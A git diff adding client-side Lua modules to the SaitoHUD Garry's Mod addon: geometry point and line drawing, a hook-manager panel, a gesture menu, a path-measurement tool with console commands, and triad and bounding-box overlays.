- ang:Forward() * scale):ToScreen() + local rightScr = (pt + ang:Right() * scale - ang:Forward() * scale):ToScreen() + local leftScr = (pt- ang:Right() * scale - ang:Forward() * scale):ToScreen() + surface.DrawLine(centerScr.x, centerScr.y, topScr.x, topScr.y) + surface.DrawLine(centerScr.x, centerScr.y, bottomScr.x, bottomScr.y) + surface.DrawLine(centerScr.x, centerScr.y, leftScr.x, leftScr.y) + surface.DrawLine(centerScr.x, centerScr.y, rightScr.x, rightScr.y) +end + +local function Draw3DEndMarker(pt, dir) + local scale = DetermineScale(pt) + local ang = dir:Angle() + local left = (pt - ang:Right() * scale):ToScreen() + local right = (pt + ang:Right() * scale):ToScreen() + surface.DrawLine(left.x, left.y, right.x, right.y) +end + +--- Draw GEOM objects. +local function HUDPaint() + for key, pt in pairs(GEOM.Points) do + local scr = pt:ToScreen() + + surface.SetDrawColor(0, 255, 255, 255) + surface.SetTextColor(0, 255, 255, 255) + + if scr.visible then + DrawCross(pt) + end + + surface.SetFont("DefaultBold") + local w, h = surface.GetTextSize(key) + surface.SetTextPos(scr.x - w - 4, scr.y + 1) + surface.DrawText(key) + end + + for key, line in pairs(GEOM.Lines) do + local scr1 = line.pt1:ToScreen() + local scr2 = line.pt2:ToScreen() + + surface.SetDrawColor(255, 0, 0, 255) + + if scr1.visible then Draw3DCross(line.pt1, line.pt2 - line.pt1) end + if scr2.visible then Draw3DEndMarker(line.pt2, line.pt2 - line.pt1) end + if scr1.visible and scr2.visible then + surface.DrawLine(scr1.x, scr1.y, scr2.x, scr2.y) + end + + surface.SetFont("DefaultBold") + surface.SetTextColor(255, 0, 0, 255) + surface.SetTextPos(scr1.x + 4, scr1.y + 1) + surface.DrawText(key) + end +end + +hook.Add("HUDPaint", "SaitoHUD.GEOMView", HUDPaint) + +------------------------------------------------------------ +-- Commands +------------------------------------------------------------ + +--- Create a point. +-- @param ply Player +-- @param cmd Command +-- @param args Arguments +local function AddPoint(ply, cmd, args) + local r = SaitoHUD.ParseVarConcmd(args, { + { Name = "name", NumArgs = 1, }, + { Name = "vec", Type = SaitoHUD.VAR_CONCMD_GEOM_POINT, ImplicitTrace = true }, + { Name = "ent", Type = SaitoHUD.VAR_CONCMD_ENTITY, ImplicitTrace = true, + Optional = true }, + }) + if not r then return end + + if cmd == "geom_point_live" or (r.ent and autoLive:GetBool()) then + GEOM.SetPoint(r.name, GEOM.EntityRelVector(r.vec.x, r.vec.y, r.vec.z, r.ent)) + else + GEOM.SetPoint(r.name, r.vec) + end + + print(string.format("Point #%s: %s -> %s", r.name, tostring(r.vec))) +end + +--- Create an entity-relative point +-- @param ply Player +-- @param cmd Command +-- @param args Arguments +local function AddEntPoint(ply, cmd, args) + local r = SaitoHUD.ParseVarConcmd(args, { + { Name = "name", NumArgs = 1, }, + { Name = "ent", Type = SaitoHUD.VAR_CONCMD_ENTITY, ImplicitTrace = true }, + }) + if not r then return end + + local pos + + if cmd:find("geom_point_center") then + pos = r.ent:GetPos() + elseif cmd:find("geom_point_bbox") then + pos = r.ent:LocalToWorld(r.ent:OBBCenter()) + elseif cmd:find("geom_point_mass") then + + end + + if cmd:find("live") or autoLive:GetBool() then + GEOM.SetPoint(r.name, GEOM.EntityRelVector(pos.x, pos.y, pos.z, r.ent)) + else + GEOM.SetPoint(r.name, pos) + end + + print(string.format("Point #%s: %s -> %s", r.name, tostring(pos))) +end + +--- Create a line. +-- @param ply Player +-- @param cmd Command +-- @param args Arguments +local function AddLine(ply, cmd, args) + local r = SaitoHUD.ParseVarConcmd(args, { + { Name = "name", NumArgs = 1, }, + { Name = "pt1", Type = SaitoHUD.VAR_CONCMD_GEOM_POINT, }, + { Name = "pt2", Type = SaitoHUD.VAR_CONCMD_GEOM_POINT, }, + }) + if not r then return end + + GEOM.SetLine(r.name, GEOM.Line(r.pt1, r.pt2)) + print(string.format("Line #%s: %s -> %s", r.name, tostring(r.pt1), tostring(r.pt2))) +end + +--- Project a point onto a segment. +-- @param ply Player +-- @param cmd Command +-- @param args Arguments +local function ProjectPointSegment(ply, cmd, args) + local r = SaitoHUD.ParseVarConcmd(args, { + { Name = "name", NumArgs = 1, }, + { Name = "pt", Type = SaitoHUD.VAR_CONCMD_GEOM_POINT, }, + { Name = "segment", Type = SaitoHUD.VAR_CONCMD_GEOM_LINE, }, + }) + if not r then return end + + GEOM.SetPoint(r.name, GEOM.PointLineSegmentProjection(r.pt, r.segment)) + print(string.format("Point-line segment projection #%s: %s -> %s", r.name, + tostring(r.pt), tostring(r.segment))) +end + +concommand.Add("geom_point", AddPoint) +concommand.Add("geom_point_live", AddPoint) +concommand.Add("geom_point_center", AddEntPoint) +concommand.Add("geom_point_center_live", AddEntPoint) +concommand.Add("geom_point_bbox", AddEntPoint) +concommand.Add("geom_point_bbox_live", AddEntPoint) +concommand.Add("geom_point_mass", AddEntPoint) +concommand.Add("geom_point_mass_live", AddEntPoint) +concommand.Add("geom_line", AddLine) +concommand.Add("geom_project_point_segment", ProjectPointSegment) \ No newline at end of file diff --git a/Repos/HeXs_SaitoHUD-master/lua/saitohud/modules/hook_manager.lua b/Repos/HeXs_SaitoHUD-master/lua/saitohud/modules/hook_manager.lua new file mode 100644 index 0000000..b46e9b8 --- /dev/null +++ b/Repos/HeXs_SaitoHUD-master/lua/saitohud/modules/hook_manager.lua @@ -0,0 +1,142 @@ +-- SaitoHUD +-- Copyright (c) 2009-2010 sk89q +-- Copyright (c) 2010 BoJaN +-- +-- This program is free software: you can redistribute it and/or modify +-- it under the terms of the GNU General Public License as published by +-- the Free Software Foundation, either version 2 of the License, or +-- (at your option) any later version. +-- +-- This program is distributed in the hope that it will be useful, +-- but WITHOUT ANY WARRANTY; without even the implied warranty of +-- MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +-- GNU General Public License for more details. +-- +-- You should have received a copy of the GNU General Public License +-- along with this program. If not, see . +-- +-- $Id$ + +g_SaitoHUDHookMemory = g_SaitoHUDHookMemory or {} + +------------------------------------------------------------ +-- SaitoHUDHookManager +------------------------------------------------------------ + +local PANEL = {} + +function PANEL:Init() + self.HookMemory = g_SaitoHUDHookMemory + + self:SetTitle("SaitoHUD Hook Manager") + self:SetSizable(true) + self:SetSize(math.max(600, ScrW() * 0.8), 400) + self:ShowCloseButton(true) + self:SetDraggable(true) + + -- Make list view + self.HookList = vgui.Create("DCustomListView", self) + self.HookList:SetLineClass("DListView_CheckboxLine") + self.HookList:AddColumn(""):SetFixedWidth(25) + self.HookList:AddColumn("Hook"):SetWide(50) + self.HookList:AddColumn("ID"):SetWide(100) + self.HookList:AddColumn("File"):SetWide(200) + + self.RefreshBtn = vgui.Create("DButton", self) + self.RefreshBtn:SetText("Refresh") + self.RefreshBtn:SetWide(100) + self.RefreshBtn.DoClick = function() + self:PopulateHooks() + end + + self:PopulateHooks() +end + +function PANEL:PopulateHooks() + self.HookList:Clear() + + for h, hooks in pairs(hook.GetTable()) do + for id, func in pairs(hooks) do + local info = debug.getinfo(func, 'S') + local path = (info.source or ""):gsub("^@", "") + local line = self.HookList:AddLine("", h, id, path) + line:SetChecked(true) + line.OnChange = function(line, checked) + if checked then + self:EnableHook(h, id) + else + self:DisableHook(h, id) + end + end + end + + for id, func in pairs(self.HookMemory[h] or {}) do + local info = debug.getinfo(func, 'S') + local path = (info.source or ""):gsub("^@", "") + local line = self.HookList:AddLine("", h, id, path) + line:SetChecked(false) + line.OnChange = function(line, checked) + if checked then + self:EnableHook(h, id) + else + self:DisableHook(h, id) + end + end + end + end +end + +function PANEL:DisableHook(name, id) + local hookList = hook.GetTable()[name] + if not hookList or not hookList[id] then + Derma_Message("The hook doesn't exist anymore.", "Missing Hook") + return + end + + self.HookMemory[name] = self.HookMemory[name] or {} + self.HookMemory[name][id] = hookList[id] + hook.Remove(name, id) +end + +function PANEL:EnableHook(name, id) + local hookList = hook.GetTable()[name] + if hookList and hookList[id] then + hookList[id] = nil + Derma_Message("The hook was recreated.", "Hook Recreated") + return + end + + if not self.HookMemory[name] or not self.HookMemory[name][id] then + Derma_Message("The hook was never saved.", "Error") + return + end + + local f = self.HookMemory[name][id] + hook.Add(name, id, f) + self.HookMemory[name][id] = nil +end + +function PANEL:PerformLayout() + self.BaseClass.PerformLayout(self) + + local wide = self:GetWide() + local tall = self:GetTall() + + self.HookList:StretchToParent(8, 28, 8, 36) + + self.RefreshBtn:SetPos(7, tall - self.RefreshBtn:GetTall() - 7) +end + +vgui.Register("SaitoHUDHookManager", PANEL, "DFrame") + +------------------------------------------------------------ + +function SaitoHUD.OpenHookManager() + local frame = vgui.Create("SaitoHUDHookManager") + frame:Center() + frame:MakePopup() +end + +concommand.Add("hook_manager", function() + SaitoHUD.OpenHookManager() +end) \ No newline at end of file diff --git a/Repos/HeXs_SaitoHUD-master/lua/saitohud/modules/listgest.lua b/Repos/HeXs_SaitoHUD-master/lua/saitohud/modules/listgest.lua new file mode 100644 index 0000000..b68c32a --- /dev/null +++ b/Repos/HeXs_SaitoHUD-master/lua/saitohud/modules/listgest.lua @@ -0,0 +1,144 @@ +-- SaitoHUD +-- Copyright (c) 2009-2010 sk89q +-- Copyright (c) 2010 BoJaN +-- +-- This program is free software: you can redistribute it and/or modify +-- it under the terms of the GNU General Public License as published by +-- the Free Software Foundation, either version 2 of the License, or +-- (at your option) any later version. +-- +-- This program is distributed in the hope that it will be useful, +-- but WITHOUT ANY WARRANTY; without even the implied warranty of +-- MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +-- GNU General Public License for more details. +-- +-- You should have received a copy of the GNU General Public License +-- along with this program. If not, see . +-- +-- $Id$ + + +surface.CreateFont("HudHintTextLarge", { + font = "Verdana", + size = 14, + weight = 1000, + antialias = true, + additive = true, + } +) + + + +SaitoHUD.Gesturing = false + +local menu = {} +local lastIndex = 0 +local lastMXDist = 0 +local listgest_submenu_sensitivity = CreateClientConVar("listgest_submenu_sensitivity", "50", true, false) + +--- Builds the list gesture menu. +local function GetMenu(Name) + local menu = {} + local numHooks = SaitoHUD.CountHooks("SaitoHUDProvideMenu") + local registered = SaitoHUD.CallHookAggregate("SaitoHUDProvideMenu", numHooks, Name) + for _, items in pairs(registered) do + table.Add(menu, items) + end + + table.insert(menu, 1, { + text = "Cancel", + }) + + return menu +end + +--- Starts list gesture; called from the +listgest concmd. +local function StartGesture(ply, cmd, args) + SaitoHUD.Gesturing = true + menu = GetMenu("") + lastIndex = 0 + gui.EnableScreenClicker(true) +end + +--- Ends list gesture; called from the -listgest concmd. +local function EndGesture(ply, cmd, args) + SaitoHUD.Gesturing = false + gui.EnableScreenClicker(false) + surface.PlaySound("ui/buttonclickrelease.wav") + + if menu[lastIndex] then + local entry = menu[lastIndex] + + --If it's a submenu, just return and do nothing + if SaitoHUD.isGestMenu(entry.action) then return end + + if type(entry.action) == "function" then + entry.action(entry) + elseif type(entry.action) == "string" then + LocalPlayer():ConCommand(entry.action .. "\n") + end + end +end + +local function HUDPaint() + if not SaitoHUD.Gesturing then return end + + local offsetX, offsetY = ScrW() - 210, ScrH() * 0.1 + local mX, mY = gui.MousePos() + local scX, scY = ScrW() / 2, ScrH() / 2 + local mDistance = math.max(math.abs(scY - mY) - 5, 0) + local index = 1 + + local MXDist = (scX-mX) + + surface.SetFont("HudHintTextLarge") + surface.SetTextColor(255, 255, 255, 200) + surface.SetTextPos(10,350) + surface.DrawText(tostring(MXDist)) + + if mY > scY then + index = math.min(math.floor(mDistance / 15) + 1, table.Count(menu)) + else + index = 1 + --index = table.Count(menu) - math.min(math.floor(mDistance / 15), table.Count(menu) - 1) + end + + if index ~= lastIndex then + lastMXDist = MXDist + surface.PlaySound("weapons/pistol/pistol_empty.wav") + end + + --Navigate to sub-menu + if MXDist - lastMXDist > listgest_submenu_sensitivity:GetInt() or MXDist - lastMXDist < -listgest_submenu_sensitivity:GetInt() then + lastMXDist = MXDist + + if SaitoHUD.isGestMenu(menu[index].action) then + menu = GetMenu(menu[index].action) + lastIndex = 0 + lastMXDist = 0 + + gui.SetMousePos(scX,scY) + surface.PlaySound("weapons/pistol/pistol_empty.wav") + end + end + + lastIndex = index + + for i, entry in pairs(menu) do + local bgColor = entry.bgColor and entry.bgColor or Color(0, 0, 0, 255) + local x, y = offsetX, offsetY + i * 30 + + surface.SetFont("HudHintTextLarge") + local w, h = surface.GetTextSize(entry.text) + draw.RoundedBox(4, x - 3, y - h/2, + 200 + 3, h + 12, + index == i and Color(255, 50, 50, 255) or bgColor) + surface.SetTextColor(255, 255, 255, 200) + surface.SetTextPos(x, y) + surface.DrawText(entry.text) + end +end + +concommand.Add("+listgest", StartGesture) +concommand.Add("-listgest", EndGesture) +hook.Add("HUDPaint", "SaitoHUD.ListGest", HUDPaint) \ No newline at end of file diff --git a/Repos/HeXs_SaitoHUD-master/lua/saitohud/modules/measure.lua b/Repos/HeXs_SaitoHUD-master/lua/saitohud/modules/measure.lua new file mode 100644 index 0000000..88024d4 --- /dev/null +++ b/Repos/HeXs_SaitoHUD-master/lua/saitohud/modules/measure.lua @@ -0,0 +1,478 @@ +-- SaitoHUD +-- Copyright (c) 2009-2010 sk89q +-- Copyright (c) 2010 BoJaN +-- +-- This program is free software: you can redistribute it and/or modify +-- it under the terms of the GNU General Public License as published by +-- the Free Software Foundation, either version 2 of the License, or +-- (at your option) any later version. +-- +-- This program is distributed in the hope that it will be useful, +-- but WITHOUT ANY WARRANTY; without even the implied warranty of +-- MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +-- GNU General Public License for more details. +-- +-- You should have received a copy of the GNU General Public License +-- along with this program. If not, see . +-- +-- $Id$ + +SaitoHUD.MeasurePoints = {} +SaitoHUD.MeasureLength = 0 + +local Rehook = nil +local containsLive = false + +--- Recalculate the measured total. +local function RecalcMeasuredTotal() + SaitoHUD.MeasureLength = 0 + containsLive = false + + if #SaitoHUD.MeasurePoints > 1 then + local last = SaitoHUD.MeasurePoints[1] + if type(last) == 'table' then containsLive = true end + + for i = 2, #SaitoHUD.MeasurePoints do + local pt = SaitoHUD.MeasurePoints[i] + SaitoHUD.MeasureLength = SaitoHUD.MeasureLength + pt:Distance(last) + last = pt + if type(last) == 'table' then containsLive = true end + end + end +end + +--- Console command to add a point to the path measurement tool. +-- @param ply Player +-- @param cmd Command +-- @param args Arguments +local function AddMeasuredPoint(ply, cmd, args) + local r = SaitoHUD.ParseVarConcmd(args, { + { Name = "vec", Type = SaitoHUD.VAR_CONCMD_GEOM_POINT, ImplicitTrace = true }, + }) + if not r then return end + + local vec = r.vec + local last = SaitoHUD.MeasurePoints[#SaitoHUD.MeasurePoints] + + table.insert(SaitoHUD.MeasurePoints, vec) + RecalcMeasuredTotal() + + if #SaitoHUD.MeasurePoints > 1 then + print("Added point #" .. #SaitoHUD.MeasurePoints) + print(string.format("Incremental distance: %f", + last:Distance(vec))) + print(string.format("Total distance: %f", SaitoHUD.MeasureLength)) + end + + SaitoHUD.UpdateMeasuringPanel() + Rehook() +end + +--- Console command to close the path of the measurement tool. +-- @param ply Player +-- @param cmd Command +-- @param args Arguments +local function CloseMeasurementLoop(ply, cmd, args) + local vec = nil + + if #SaitoHUD.MeasurePoints < 2 then + LocalPlayer():ChatPrint("Not enough points.") + end + + local vec = SaitoHUD.MeasurePoints[1] + + local last = SaitoHUD.MeasurePoints[#SaitoHUD.MeasurePoints] + + table.insert(SaitoHUD.MeasurePoints, vec) + RecalcMeasuredTotal() + + if #SaitoHUD.MeasurePoints > 1 then + print("Added point #" .. #SaitoHUD.MeasurePoints) + print(string.format("Incremental distance: %f", + last:Distance(vec))) + print(string.format("Total distance: %f", SaitoHUD.MeasureLength)) + end + + + SaitoHUD.UpdateMeasuringPanel() + Rehook() +end + +--- Console command to add an orthogonal line to the path measurement tool. +-- @param ply Player +-- @param cmd Command +-- @param args Arguments +local function AddOrthoMeasuredPoint(ply, cmd, args) + if #args ~= 0 then + Msg("Invalid number of arguments\n") + return + end + + local start = SaitoHUD.GetRefTrace() + + local data = {} + data.start = start.HitPos + data.endpos = start.HitNormal * 100000 + start.HitPos + data.filter = LocalPlayer() + local final = util.TraceLine(data) + + table.insert(SaitoHUD.MeasurePoints, start.HitPos) + table.insert(SaitoHUD.MeasurePoints, final.HitPos) + + RecalcMeasuredTotal() + + print("Added points #" .. (#SaitoHUD.MeasurePoints - 1) .. + " #" .. #SaitoHUD.MeasurePoints) + print(string.format("Total distance: %f", SaitoHUD.MeasureLength)) + + SaitoHUD.UpdateMeasuringPanel() + Rehook() +end + +--- Console command to insert a point in the path measurement tool. +-- @param ply Player +-- @param cmd Command +-- @param args Arguments +local function InsertMeasuredPoint(ply, cmd, args) + local r = SaitoHUD.ParseVarConcmd(args, { + { Name = "index" }, + { Name = "vec", Type = SaitoHUD.VAR_CONCMD_GEOM_POINT, ImplicitTrace = true }, + }) + if not r then return end + + local index = math.floor(r.index) + + if index < 1 or index > #SaitoHUD.MeasurePoints + 1 then + Msg("Invalid index\n") + return + end + + table.insert(SaitoHUD.MeasurePoints, index, r.vec) + print("Inserted point at #" .. index) + + RecalcMeasuredTotal() + SaitoHUD.UpdateMeasuringPanel() + Rehook() +end + +--- Console command to insert an orthogonal line in the path measurement tool. +-- @param ply Player +-- @param cmd Command +-- @param args Arguments +local function InsertOrthoMeasuredPoint(ply, cmd, args) + if #args ~= 1 then + Msg("Invalid number of arguments\n") + return + end + + local index = tonumber(args[1]) + + if not index then + Msg("Invalid index\n") + end + + index = math.floor(index) + + if index < 1 or index > #SaitoHUD.MeasurePoints + 1 then + Msg("Invalid index\n") + return + end + + local start = SaitoHUD.GetRefTrace() + + local data = {} + data.start = start.HitPos + data.endpos = start.HitNormal * 100000 + start.HitPos + data.filter = LocalPlayer() + local final = util.TraceLine(data) + + table.insert(SaitoHUD.MeasurePoints, index, start.HitPos) + table.insert(SaitoHUD.MeasurePoints, index + 1, final.HitPos) + + print("Inserted 2 points at #" .. index) + + RecalcMeasuredTotal() + SaitoHUD.UpdateMeasuringPanel() + Rehook() +end + +--- Console command to replace a point in the path measurement tool. +-- @param ply Player +-- @param cmd Command +-- @param args Arguments +local function ReplaceMeasuredPoint(ply, cmd, args) + local r = SaitoHUD.ParseVarConcmd(args, { + { Name = "index" }, + { Name = "vec", Type = SaitoHUD.VAR_CONCMD_GEOM_POINT, ImplicitTrace = true }, + }) + if not r then return end + + local index = math.floor(tonumber(r.index)) + + if not SaitoHUD.MeasurePoints[index] then + Msg("No such index\n") + return + end + + SaitoHUD.MeasurePoints[index] = r.vec + print("Replaced point #" .. index) + + RecalcMeasuredTotal() + SaitoHUD.UpdateMeasuringPanel() + Rehook() +end + +--- Console command to remove a point in the path measurement tool. +-- @param ply Player +-- @param cmd Command +-- @param args Arguments +local function RemoveMeasuredPoint(ply, cmd, args) + local r = SaitoHUD.ParseVarConcmd(args, { + { Name = "index" }, + { Name = "vec", Type = SaitoHUD.VAR_CONCMD_GEOM_POINT, ImplicitTrace = true }, + }) + if not r then return end + + local index = math.floor(tonumber(r.index)) + + if not SaitoHUD.MeasurePoints[index] then + Msg("No such index\n") + return + end + + table.remove(SaitoHUD.MeasurePoints, index) + print("Removed point #" .. index) + + RecalcMeasuredTotal() + SaitoHUD.UpdateMeasuringPanel() + Rehook() +end + +--- Console command to remove the last point in the path measurement tool. +-- @param ply Player +-- @param cmd Command +-- @param args Arguments +local function RemoveLastMeasuredPoint(ply, cmd, args) + RemoveMeasuredPoint(ply, cmd, {#SaitoHUD.MeasurePoints}) +end + +--- Console command to list points added in the measurement tool. +-- @param ply Player +-- @param cmd Command +-- @param args Arguments +local function ListMeasuredPoints(ply, cmd, args) + if #args ~= 0 then + Msg("Invalid number of arguments\n") + return + end + + if #SaitoHUD.MeasurePoints > 0 then + for k, pt in pairs(SaitoHUD.MeasurePoints) do + if k == 1 then + print(string.format("#%d (%s)",k, tostring(pt))) + else + print(string.format("#%d (%s) incr. dist.: %f", + k, tostring(pt), pt:Distance(SaitoHUD.MeasurePoints[k - 1]))) + end + end + + print(string.format("Total distance: %f", SaitoHUD.MeasureLength)) + else + print("No points!") + end +end + +--- Console command to sum point distances in the measurement tool. +-- @param ply Player +-- @param cmd Command +-- @param args Arguments +local function SumMeasuredPoints(ply, cmd, args) + if #args ~= 2 then + Msg("Invalid number of arguments\n") + return + end + + local index1 = tonumber(args[1]) + local index2 = tonumber(args[2]) + + if not index1 or not index2 or index1 >= index2 then + Msg("Invalid arguments\n") + return + end + + index1 = math.floor(index1) + index2 = math.floor(index2) + + if index1 < 1 or index2 > #SaitoHUD.MeasurePoints then + Msg("Indexes out of range\n") + return + end + + local last = SaitoHUD.MeasurePoints[index1] + local total = 0 + + for i = index1 + 1, index2 do + local pt = SaitoHUD.MeasurePoints[i] + total = total + pt:Distance(last) + last = pt + end + + print(string.format("Total distance from #%d -> #%d: %f", index1, index2, total)) +end + +--- Console command to get the distance between two points +-- @param ply Player +-- @param cmd Command +-- @param args Arguments +local function BetweenMeasuredPoints(ply, cmd, args) + if #args ~= 2 then + Msg("Invalid number of arguments\n") + return + end + + local index1 = tonumber(args[1]) + local index2 = tonumber(args[2]) + + if not index1 or not index2 or index1 >= index2 then + Msg("Invalid arguments\n") + return + end + + index1 = math.floor(index1) + index2 = math.floor(index2) + + if index1 == index2 then + Msg("Both indexes are the same\n") + return + end + + local distance = SaitoHUD.MeasurePoints[index1]:Distance(SaitoHUD.MeasurePoints[index2]) + + print(string.format("Direct distance between #%d and #%d: %f", index1, index2, distance)) +end + +--- Console commands to clear the list of points. +-- @param ply Player +-- @param cmd Command +-- @param args Arguments +local function ClearMeasuredPoints(ply, cmd, args) + if #args ~= 0 then + Msg("Invalid number of arguments\n") + return + end + + SaitoHUD.MeasurePoints = {} + + print("Cleared") + + SaitoHUD.UpdateMeasuringPanel() + Rehook() +end + +--- Draw measured path. +local function DrawMeasuringLines() + local dim = 5 + surface.SetDrawColor(255, 0, 255, 255) + + if #SaitoHUD.MeasurePoints > 1 then + local last = SaitoHUD.MeasurePoints[1] + local lastScreen = last:ToScreen() + + if lastScreen.visible then + draw.SimpleText(tostring(1), + "DefaultSmallDropShadow", lastScreen.x, lastScreen.y, + color_white, 1, ALIGN_TOP) + end + + for i = 2, #SaitoHUD.MeasurePoints do + local pt = SaitoHUD.MeasurePoints[i] + local midPt = (pt - last) / 2 + last + local ptScreen = pt:ToScreen() + local midPtScreen = midPt:ToScreen() + + if ptScreen.visible and lastScreen.visible then + surface.DrawLine(lastScreen.x, lastScreen.y, ptScreen.x, ptScreen.y) + end + + if midPtScreen.visible then + draw.SimpleText(string.format("%0.2f", last:Distance(pt)), + "DefaultSmallDropShadow", + midPtScreen.x, midPtScreen.y, + Color(255, 200, 255, 255), 1, ALIGN_TOP) + end + + if ptScreen.visible then + draw.SimpleText(tostring(i), "DefaultSmallDropShadow", + ptScreen.x - 2, ptScreen.y - 5, + color_white, 1, ALIGN_TOP) + end + + last = pt + lastScreen = last:ToScreen() + end + + local yOffset = ScrH() * 0.3 - 50 + local color = Color(255, 200, 255, 255) + draw.SimpleText("Measured Total: " .. string.format("%.7f", SaitoHUD.MeasureLength), + "TabLarge", ScrW() - 16, yOffset, color, 2, ALIGN_TOP) + elseif #SaitoHUD.MeasurePoints == 1 then + local dim = 5 + local last = SaitoHUD.MeasurePoints[1] + local lastScreen = last:ToScreen() + surface.DrawOutlinedRect(lastScreen.x - dim / 2, + lastScreen.y - dim / 2, + dim, dim) + draw.SimpleText(tostring(1), + "DefaultSmallDropShadow", lastScreen.x, lastScreen.y, + color_white, 1, ALIGN_TOP) + end +end + +--- Draw RenderScreenspaceEffects. +local function DoDrawSurveyScreenspace() + -- Since the lines are long, we cannot draw on the HUD because lines with + -- end points that are off screen may not appear right + surface.SetDrawColor(255, 0, 255, 255) + if #SaitoHUD.MeasurePoints > 1 then + local last = SaitoHUD.MeasurePoints[1] + + for i = 2, #SaitoHUD.MeasurePoints do + local pt = SaitoHUD.MeasurePoints[i] + + SaitoHUD.Draw3D2DLine(last, pt) + + last = pt + end + end +end + +--- Draw survey HUDPaint stuff. +local function DrawSurvey() + if containsLive then RecalcMeasuredTotal() end + DrawMeasuringLines() +end + +Rehook = function() + if #SaitoHUD.MeasurePoints > 0 then + hook.Add("RenderScreenspaceEffects", "SaitoHUD.Measure", DrawSurveyScreenspace) + hook.Add("HUDPaint", "SaitoHUD.Measure", DrawSurvey) + else + pcall(hook.Remove, "RenderScreenspaceEffects", "SaitoHUD.Measure") + pcall(hook.Remove, "HUDPaint", "SaitoHUD.Measure") + end +end + +Rehook() + +concommand.Add("measure_add", AddMeasuredPoint) +concommand.Add("measure_add_ortho", AddOrthoMeasuredPoint) +concommand.Add("measure_close", CloseMeasurementLoop) +concommand.Add("measure_insert", InsertMeasuredPoint) +concommand.Add("measure_insert_ortho", InsertOrthoMeasuredPoint) +concommand.Add("measure_replace", ReplaceMeasuredPoint) +concommand.Add("measure_list", ListMeasuredPoints) +concommand.Add("measure_clear", ClearMeasuredPoints) +concommand.Add("measure_sum", SumMeasuredPoints) +concommand.Add("measure_between", BetweenMeasuredPoints) +concommand.Add("measure_remove", RemoveMeasuredPoint) +concommand.Add("measure_remove_last", RemoveLastMeasuredPoint) \ No newline at end of file diff --git a/Repos/HeXs_SaitoHUD-master/lua/saitohud/modules/overlays.lua b/Repos/HeXs_SaitoHUD-master/lua/saitohud/modules/overlays.lua new file mode 100644 index 0000000..483214b --- /dev/null +++ b/Repos/HeXs_SaitoHUD-master/lua/saitohud/modules/overlays.lua @@ -0,0 +1,245 @@ +-- SaitoHUD +-- Copyright (c) 2009-2010 sk89q +-- Copyright (c) 2010 BoJaN +-- +-- This program is free software: you can redistribute it and/or modify +-- it under the terms of the GNU General Public License as published by +-- the Free Software Foundation, either version 2 of the License, or +-- (at your option) any later version. +-- +-- This program is distributed in the hope that it will be useful, +-- but WITHOUT ANY WARRANTY; without even the implied warranty of +-- MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +-- GNU General Public License for more details. +-- +-- You should have received a copy of the GNU General Public License +-- along with this program. If not, see . +-- +-- $Id$ + +------------------------------------------------------------ +-- Triads +------------------------------------------------------------ + +local triadsFilterGuide = CreateClientConVar("triads_filter_guide", "1", true, false) + +--- Draw a triad. +-- @param p1 Point +-- @param ang Angle +local function DrawTriad(p1, ang) + local p2 = p1 + ang:Forward() * 16 + local p3 = p1 + ang:Right() * 16 + local p4 = p1 + ang:Up() * 16 + + p1, p2, p3, p4 = p1:ToScreen(), p2:ToScreen(), p3:ToScreen(), p4:ToScreen() + + surface.SetDrawColor(255, 0, 0, 255) + surface.DrawLine(p1.x, p1.y, p2.x, p2.y) -- Forward + surface.SetDrawColor(0, 255, 0, 255) + surface.DrawLine(p1.x, p1.y, p3.x, p3.y) -- Right + surface.SetDrawColor(0, 0, 255, 255) + surface.DrawLine(p1.x, p1.y, p4.x, p4.y) -- Up +end + +local OVERLAY = {} + +function OVERLAY.DrawEnt(ent) + local pos = ent:GetPos() + DrawTriad(pos, ent:GetAngles()) +end + +function OVERLAY.HUDPaint(ent) + if triadsFilterGuide:GetBool() then + local w = ScrW() + surface.SetDrawColor(255, 0, 0, 255) + surface.DrawLine(w - 20, 30, w - 5, 38) -- Forward + surface.SetDrawColor(0, 200, 0, 255) + surface.DrawLine(w - 35, 38, w - 20, 30) -- Right + surface.SetDrawColor(0, 0, 255, 255) + surface.DrawLine(w - 20, 30, w - 20, 10) -- Up + end +end + +SaitoHUD.RegisterOverlay("triads", OVERLAY) + +------------------------------------------------------------ +-- Bounding boxes +------------------------------------------------------------ + +local OVERLAY = {} + +function OVERLAY.DrawEnt(ent) + local pos = ent:GetPos() + local obbMin = ent:OBBMins() + local obbMax = ent:OBBMaxs() + + local p = { + ent:LocalToWorld(Vector(obbMin.x, obbMin.y, obbMin.z)):ToScreen(), + ent:LocalToWorld(Vector(obbMin.x, obbMax.y, obbMin.z)):ToScreen(), + ent:LocalToWorld(Vector(obbMax.x, obbMax.y, obbMin.z)):ToScreen(), + ent:LocalToWorld(Vector(obbMax.x, obbMin.y, obbMin.z)):ToScreen(), + ent:LocalToWorld(Vector(obbMin.x, obbMin.y, obbMax.z)):ToScreen(), + ent:LocalToWorld(Vector(obbMin.x, obbMax.y, obbMax.z)):ToScreen(), + ent:LocalToWorld(Vector(obbMax.x, obbMax.y, obbMax.z)):ToScreen(), + ent:LocalToWorld(Vector(obbMax.x, obbMin.y, obbMax.z)):ToScreen(), + } + + local visible = true + for i = 1, 8 do + if not p[i].visible then + visible = false + break + end + end + + if visible then + if ent:IsPlayer() then + if ent:Alive() then + surface.SetDrawColor(0, 255, 0, 255) + else + surface.SetDrawColor(0, 0, 255, 255) + end + else + surface.SetDrawColor(255, 0, 0, 255) + end + + -- Bottom + surface.DrawLine(p[1].x, p[1].y, p[2].x, p[2].y) + surface.DrawLine(p[2].x, p[2].y, p[3].x, p[3].y) + surface.DrawLine(p[3].x, p[3].y, p[4].x, p[4].y) + surface.DrawLine(p[4].x, p[4].y, p[1].x, p[1].y) + -- Top + surface.DrawLine(p[5].x, p[5].y, p[6].x, p[6].y) + surface.DrawLine(p[6].x, p[6].y, p[7].x, p[7].y) + surface.DrawLine(p[7].x, p[7].y, p[8].x, p[8].y) + surface.DrawLine(p[8].x, p[8].y, p[5].x, p[5].y) + -- Sides + surface.DrawLine(p[1].x, p[1].y, p[5].x, p[5].y) + surface.DrawLine(p[2].x, p[2].y, p[6].x, p[6].y) + surface.DrawLine(p[3].x, p[3].y, p[7].x, p[7].y) + surface.DrawLine(p[4].x, p[4].y, p[8].x, p[8].y) + -- Bottom + --surface.DrawLine(p[1].x, p[1].y, p[3].x, p[3].y) + end +end + 